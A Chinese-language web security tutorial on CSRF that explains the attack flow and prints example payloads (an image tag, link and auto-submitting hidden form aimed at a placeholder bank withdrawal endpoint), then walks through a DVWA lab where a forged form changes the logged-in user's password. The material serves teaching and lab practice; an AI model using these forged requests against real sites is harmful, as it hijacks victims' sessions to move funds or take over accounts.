0x00前言
web安全中除了XSS 还有一种最容易被忽视的攻击手段,那就是CSRF,它可以在用户无感知的情况下发起攻击,接下来我们来认识一下这种攻击手段。
0x10
跨站伪造请求 ( Cross - site request forgery ) 也被称为one- click attach 或者session riding,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
0x20
0x21 CSRF的漏洞利用流程
- 受害者登录a.com 并获取有效的cookies
- 攻击者引导受害者访问了b.com
- b.com 向a.com发送一个请求a.com/act=xx,此时浏览器会默认携带a.com的cookies来完成这个请求
- a.com接收到请求后,对请求进行验证,误以为是受害者发出的请求
- a.com就会以受害者的名义执行了act=xx
- 攻击完成,攻击者在没有获取用户cookies的情况下,冒充了受害者让a.com执行了攻击者的操作
0x22 CSRF攻击的本质
- 使用了允许发送第三方cookie的浏览器
- 攻击者可以伪造出请求的链接
0x23CSRF特点
- 攻击一般发起在第三方网站,被攻击的网站无法防止攻击发生
- 攻击利用受害者已经认证的登陆凭证,冒充受害者提交操作,不是直接窃取数据
- 跨站请求的方式可以使用图片URL、超链接、Form等方式
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
<form action="http://bank.example/withdraw" method=
POST
>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].
submit
(); </script>
0x30
0x31 攻击演示
此时了解了csrf攻击的原理,接下来使用DVWA来进行攻击演示,首先登陆dvwa
查看页面源码发现只有一个get请求的表单,而且没有任何认证
<
form
action
="#"
method
="GET">
New password:<br />
<
input
type
="
password
"
AUTOCOMPLETE
="off"
name
="password_new"><br />
Confirm new password:<br />
<
input
type
="
password
"
AUTOCOMPLETE
="off"
name
="password_conf"><br />
<br />
<
input
type
="
submit
"
value
="
Change
"
name
="
Change
">
</
form
>
那么我们可以伪造一个html来构造csrf攻击,只需要发起一个表单就好了。
<
form
action
="http://192.168.18.153/dvwa/vulnerabilities/csrf/?"
method
="GET">
New password:<br />
<
input
type
="
password
"
value
="123456"
AUTOCOMPLETE
="off"
name
="password_new"><br />
Confirm new password:<br />
<
input
type
="
password
"
value
="123456"
AUTOCOMPLETE
="off"
name
="password_conf"><br />
<br />
<
input
type
="
submit
"
value
="
Change
"
name
="
Change
">
</
form
>
<
script
type
="text/javascript">
</
script
>>
将action指定了目标网站,同时表单中输入了value=123456,此时我们构造 了一个简陋的html,当然在实际中可以是一个空白图片或者其他用户无法感知的组件。
此时点击change,会发现跳转到源站并且提示密码已经被更改
接下来我们验证一下此次攻击是否成功,首先退出到登陆界面,然后填入原先的密码,发现登陆失败。
接下来我们输入攻击后更改的密码123456,发现登陆成功了。
通过以上操作在另一个域提交表单,成功的更改了用户的密码,由此验证了我们的攻击是有效的。
以上介绍的就是CSRF的简单介绍和最基础的攻击手段。